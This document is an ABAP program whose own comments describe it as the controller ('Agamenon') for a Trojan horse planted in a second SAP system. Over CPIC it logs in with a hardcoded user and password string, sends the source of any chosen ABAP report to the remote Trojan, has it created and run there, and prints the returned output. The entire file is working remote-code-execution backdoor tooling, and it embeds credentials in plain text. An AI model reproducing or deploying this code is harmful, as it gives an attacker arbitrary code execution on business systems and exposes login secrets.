REPORT ZCPICT1 NO STANDARD PAGE HEADING.
*
* This program is Agamenon, sitting in system A, and capable of
* sending a source code of any abap report using CPIC to the
* Trojan horse staying in system B. The Trojan horse will
* create and run the abap and send back the resut to Agamemnon.
*
* This is the flow of the communication:
*  A           B
* init         -
* allocate   accept
* validate     -
* send       receive
* receive    send
* deallocate receive
*
* This is the TXCOM entry required in system A:
* AAA      saphost  sapdp02          I
*
INCLUDE RSEBCASC.
DATA: DEST(8) VALUE 'AAA', CONV(8), OUTPUT(100), INPUT(100),
      DINF(4) TYPE X, SINF(4) TYPE X, SLEN(4) TYPE X,
      RLEN(4) TYPE X, CONNECT(75).
DATA: PROGRAM LIKE SY-REPID VALUE 'ZREMABAP',
      BEGIN OF T OCCURS 500,
        LINE(72),
      END   OF T.

* Initialize
COMMUNICATION INIT ID CONV DESTINATION DEST.
IF SY-SUBRC <> 0. EXIT. ENDIF.
* Allocate
COMMUNICATION ALLOCATE ID CONV.
IF SY-SUBRC <> 0. EXIT. ENDIF.
* Create login string
MOVE 'CONNCPIC1   010CPICTEST    NETUDDKIE ZTRHORSEZTRHORSE' TO CONNECT.
TRANSLATE CONNECT USING ASC_TO_EBC.
* Validate
COMMUNICATION SEND ID CONV BUFFER CONNECT.
IF SY-SUBRC <> 0. COMMUNICATION DEALLOCATE ID CONV. EXIT. ENDIF.
SINF = 0.
WHILE SINF = 0.
  COMMUNICATION RECEIVE ID CONV
    BUFFER INPUT
    DATAINFO DINF
    STATUSINFO SINF
    RECEIVED RLEN.
  IF SY-SUBRC <> 0. EXIT. ENDIF.
ENDWHILE.
* Send abap
READ REPORT PROGRAM INTO T.
IF SY-SUBRC <> 0. EXIT. ENDIF.
WRITE: / 'SENT:' COLOR 3.
LOOP AT T.
  OUTPUT = T. SLEN = 72.
  WRITE: / OUTPUT.
  COMMUNICATION SEND ID CONV BUFFER OUTPUT LENGTH SLEN.
  IF SY-SUBRC <> 0. COMMUNICATION DEALLOCATE ID CONV. EXIT. ENDIF.
ENDLOOP.
* Receive result of run
WRITE: / 'RECEIVED:' COLOR 3.
SINF = 0.
WHILE SINF = 0.
  CLEAR INPUT.
  COMMUNICATION RECEIVE ID CONV BUFFER INPUT DATAINFO DINF
                                        STATUSINFO SINF
                                        RECEIVED    RLEN.
  IF SY-SUBRC <> 0. EXIT. ENDIF.
WRITE: / INPUT.
ENDWHILE.
* Deallocate
COMMUNICATION DEALLOCATE ID CONV.
IF SY-SUBRC <> 0. EXIT. ENDIF.
* Display the result of run